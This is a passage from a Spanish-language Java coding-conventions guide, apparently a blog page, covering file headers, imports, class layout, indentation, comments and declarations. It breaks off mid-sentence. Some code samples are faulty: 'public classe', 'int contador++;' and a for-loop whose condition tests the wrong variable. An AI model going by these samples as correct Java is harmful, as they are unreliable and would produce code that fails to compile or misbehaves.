<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_2_1_1_comentarios_inicio" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.2.1.1. Comentarios de inicio</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Todo fichero fuente debe comenzar con un comentario que incluya el nombre de la clase, información sobre la versión del código, la fecha y el copyright. El copyright indica la propiedad legal del código, el ámbito de distribución, el uso para el que fue desarrollado y su modificación. </span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Dentro de estos comentarios iniciales podrían incluirse adicionalmente comentarios sobre los cambios efectuados sobre dicho fichero (mejora, incidencia, error, etc.). Estos comentarios son opcionales si los ficheros están bajo un sistema de control de versiones bien documentado, en caso contrario se recomienda su uso. Estos comentarios constituyen el historial de cambios del fichero. Este historial es único para cada fichero y permitirá conocer rápidamente el estado y la evolución que ha tenido el fichero desde su origen.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">A continuación se muestra un comentario de inicio para la clase "JceSecurity.java".</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
/*
* @(#)JceSecurity.java 1.50 04/04/14
*
* Copyright 2004 Sun Microsystems, Inc. All rights reserved.
* SUN PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
/**
* This class instantiates implementations of JCE engine classes from
* providers registered with the java.security.Security object.
*
* @author Jan Luehe
* @author Sharon Liu
* @version 1.50, 04/14/04
* @since 1.4
*/</span><span style="background-color: #c0a154;">
</span></pre>
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<span style="background-color: white;"><span id="1_2_1_2_sentencias_paquete" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.2.1.2. Sentencias de paquete</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">La primera línea no comentada de un fichero fuente debe ser la sentencia de paquete, que indica el paquete al que pertenece(n) la(s) clase(s) incluída(s) en el fichero fuente. Por ejemplo,</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
package javax.crypto;</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_2_1_3_sentencias_importacion" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.2.1.3. Sentencias de importación</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Tras la declaración del paquete se incluirán las sentencias de importación de los paquetes necesarios. Esta importación de paquetes obligatorios seguirá el siguiente orden:</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Paquetes del JDK de java.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Paquetes de utilidades no pertenecientes al JDK de Java, de frameworks de desarrollo o de proyectos opensource tales como apache, hibernate, springframework, etc.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Paquetes desarrollados para el Ayuntamiento de Málaga.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Paquetes de la aplicación.</span></li>
<span style="background-color: white;"><br /></span></ul>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Se recomienda minimizar en la medida de lo posible el uso de importaciones del tipo "package.*", pues dificultan la comprensión de las dependencias existentes entre las clases utilizadas por la aplicación. En caso contrario, se recomienda utilizar comentarios de línea tras la importación.</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
import java.io.*; // BufferedReader, PrintWriter, FileInputStream, File
import java.util.ArrayList;
import org.apache.log4j.Logger;
import org.apache.lucene.analysis.Analyzer;
import es.provincia.organismo.corporativas.atlas.vo.AgendaVO;
import es.provincia.organismo.atlas.vo.AnuncioVO;
import es.provincia.organismo.atlas.vo.OrganigramaVO;</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_2_1_4_declaraciones_clases" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.2.1.4. Declaraciones de clases e interfaces</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">La siguiente tabla describe los elementos que componen la declaración de una clase o interfaz, así como el orden en el que deben estar situados.</span></span><br />
<table border="1" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;"><tbody>
<tr><th><span style="background-color: white;">Elementos de declaración de una clase / interfaz</span></th><th><span style="background-color: white;">Descripción</span></th></tr>
<tr><td><span style="background-color: white;">Comentario de documentación de la clase/interfaz /** ... */</span></td><td><span style="background-color: white;">Permite describir la clase/interfaz desarrollada. Necesario para generar la documentación de la api mediante javadoc.</span></td></tr>
<tr><td><span style="background-color: white;">Sentencia class / interface</span></td><td></td></tr>
<tr><td><span style="background-color: white;">Comentario de implementación de la clase/interfaz, si es necesario /* ... */</span></td><td><span style="background-color: white;">Este comentario incluye cualquier información que no pueda incluirse en el comentario de documentación de la clase/interfaz.</span></td></tr>
<tr><td><span style="background-color: white;">Variables de clase (estáticas)</span></td><td><span style="background-color: white;">En primer lugar las variables de clase públicas (public), después las protegidas (protected), posteriormente las de nivel de paquete (sin modificador), y por último las privadas (private).</span></td></tr>
<tr><td><span style="background-color: white;">Variables de instancia</span></td><td><span style="background-color: white;">Primero las públicas (public), después las protegidas (protected), luego las de nivel de paquete (sin modificador), y finalmente las privadas (private).</span></td></tr>
<tr><td><span style="background-color: white;">Constructores</span></td><td></td></tr>
<tr><td><span style="background-color: white;">Métodos</span></td><td><span style="background-color: white;">Deben agruparse por funcionalidad en lugar de agruparse por ámbito o accesibilidad. Por ejemplo, un método privado puede estar situado entre dos métodos públicos. El objetivo es desarrollar código fácil de leer y comprender.</span></td></tr>
</tbody></table>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_3_sangria" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.3. Sangría</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Como norma general se establecen 4 caracteres como unidad de sangría. Los entornos de desarrollo integrado (IDE) más populares, tales como Eclipse o NetBeans, incluyen facilidades para formatear código Java.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_3_1_longitud_linea" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.3.1. Longitud de línea</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">La longitud de línea no debe superar los 80 caracteres por motivos de visualización e impresión.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_3_2_division_lineas" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.3.2. División de líneas</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Cuando una expresión ocupe más de una línea, esta se podrá romper o dividir en función de los siguientes criterios,</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Tras una coma.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Antes de un operador.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Se recomienda las rupturas de nivel superior a las de nivel inferior.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Alinear la nueva línea con el inicio de la expresión al mismo nivel que la línea anterior.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Si las reglas anteriores generan código poco comprensible, entonces estableceremos tabulaciones de 8 espacios.</span></li>
<span style="background-color: white;"><br /></span></ul>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Ejemplos:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
unMetodo(expresionLarga1, expresionLarga 2, expresionLarga 3,
expresionLarga 4, expresionLarga 5);
if ((condicion1 && condicion2)
|| (condicion3 && condicion4)
||!(condicion5 && condicion6)) {
unMetodo();
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_4_comentarios" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.4. Comentarios</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Distinguimos dos tipos de comentarios: los comentarios de implementación y los de documentación. </span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_4_1_comentarios_implementacion" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.4.1. Comentarios de implementación</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Estos comentarios se utilizan para describir el código ("el cómo"), y en ellos se incluye información relacionada con la implementación, tales como descripción de la función de variables locales, fases lógicas de ejecución de un método, captura de excepciones, etc.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Distinguimos tres tipos de comentarios de implementación:</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Comentarios de bloque:<br /><br />Permiten la descripción de ficheros, clases, bloques, estructuras de datos y algoritmos.</span><pre><span style="background-color: white;">
/*
* Esto es un comentario
* de bloque
*/</span></pre>
<span style="background-color: white;"><br /></span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Comentarios de línea:<br /><br />Son comentarios cortos localizados en una sola línea y tabulados al mismo nivel que el código que describen. Si ocupa más de una línea se utilizará un comentario de bloque. Deben estar precedidos por una línea en blanco.</span><pre><span style="background-color: white;">
/* Esto es un comentario de línea */
// Esto es otro comentario de línea</span></pre>
<span style="background-color: white;"><br /></span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Comentario a final de línea<br /><br />Comentario situado al final de una sentencia de código y en la misma línea.</span><pre><span style="background-color: white;">
int contador = 4 + 10; // Inicialización del contador
contador++; /* Incrementamos el contador */</span></pre>
<span style="background-color: white;"><br /></span></li>
<span style="background-color: white;"><br /></span></ul>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_4_2_comentarios_documentacion" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.4.2. Comentarios de documentación</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Los comentarios de documentación, también denominados "comentarios javadoc", se utilizan para describir la especificación del código, desde un punto de vista independiente de la implementación, de forma que pueda ser consultada por desarrolladores que probablemente no tengan acceso al código fuente.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">El apartado 2 de este documento describe el uso de comentarios de documentación.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_5_declaraciones" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.5. Declaraciones</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_5_1_declaracion_por_linea" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.5.1. Una declaración por línea</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Se recomienda el uso de una declaración por línea, promoviendo así el uso de comentarios. Ejemplo, </span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
int idUnidad; // Identificador de la unidad organizativa
String[] funciones; // Funciones de la unidad</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_5_2_inicializacion" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.5.2. Inicialización</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Toda variable local tendrá que ser inicializada en el momento de su declaración, salvo que su valor inicial dependa de algún valor que tenga que ser calculado previamente.</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
int idUnidad = 1;
String[] funciones = { "Administración", "Intervención", "Gestión" };</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_5_3_localizacion" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.5.3. Localización</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las declaraciones deben situarse al principio de cada bloque principal en el que se utilicen, y nunca en el momento de su uso. </span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
public void unMetodo() {
int contador = 0; // inicio del método
...
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">La única excepción a esta regla son los índices de los bucles "for", ya que, en Java, pueden incluirse dentro de la propia sentencia "for".</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
for (int i=0; contador<10; i++) {
...
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Se debe evitar el uso de declaraciones que oculten a otras declaraciones de ámbito superior. </span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
int contador = 0; // Inicio del método
public void unMetodo() {
if (condicion) {
int contador = 2; // ¡¡ EVITAR !!
...
}
...
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_5_4_declaracion_clases_interfaces" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.5.4. Declaración de clases / interfaces</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Durante el desarrollo de clases / interfaces se deben seguir las siguientes reglas de formateo:</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">No incluir ningún espacio entre el nombre del método y el paréntesis inicial del listado de parámetros.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">El carácter inicio de bloque ("{") debe aparecer al final de la línea que contiene la sentencia de declaración.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">El carácter fin de bloque ("}") se sitúa en una nueva línea tabulada al mismo nivel que su correspondiente sentencia de inicio de bloque, excepto cuando la sentencia sea nula, en tal caso se situará detrás de "{".</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Los métodos se separarán entre sí mediante una línea en blanco.</span></li>
<span style="background-color: white;"><br /></span></ul>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /></span>
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
public classe ClaseEjemplo extends Object {
int variable1;
int variable2;
public ClaseEjemplo() {
variable1 = 0;
variable2 = 1;
}
...
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_6_sentencias" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.6. Sentencias</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Cada línea debe contener como máximo una sentencia. Ejemplo,</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
int contador++;
int variable--;</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las sentencias pertenecientes a un bloque de código estarán tabuladas un nivel más a la derecha con respecto a la sentencia que las contiene.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">El carácter inicio de bloque "{" debe situarse al final de la línea que inicia el bloque. El carácter 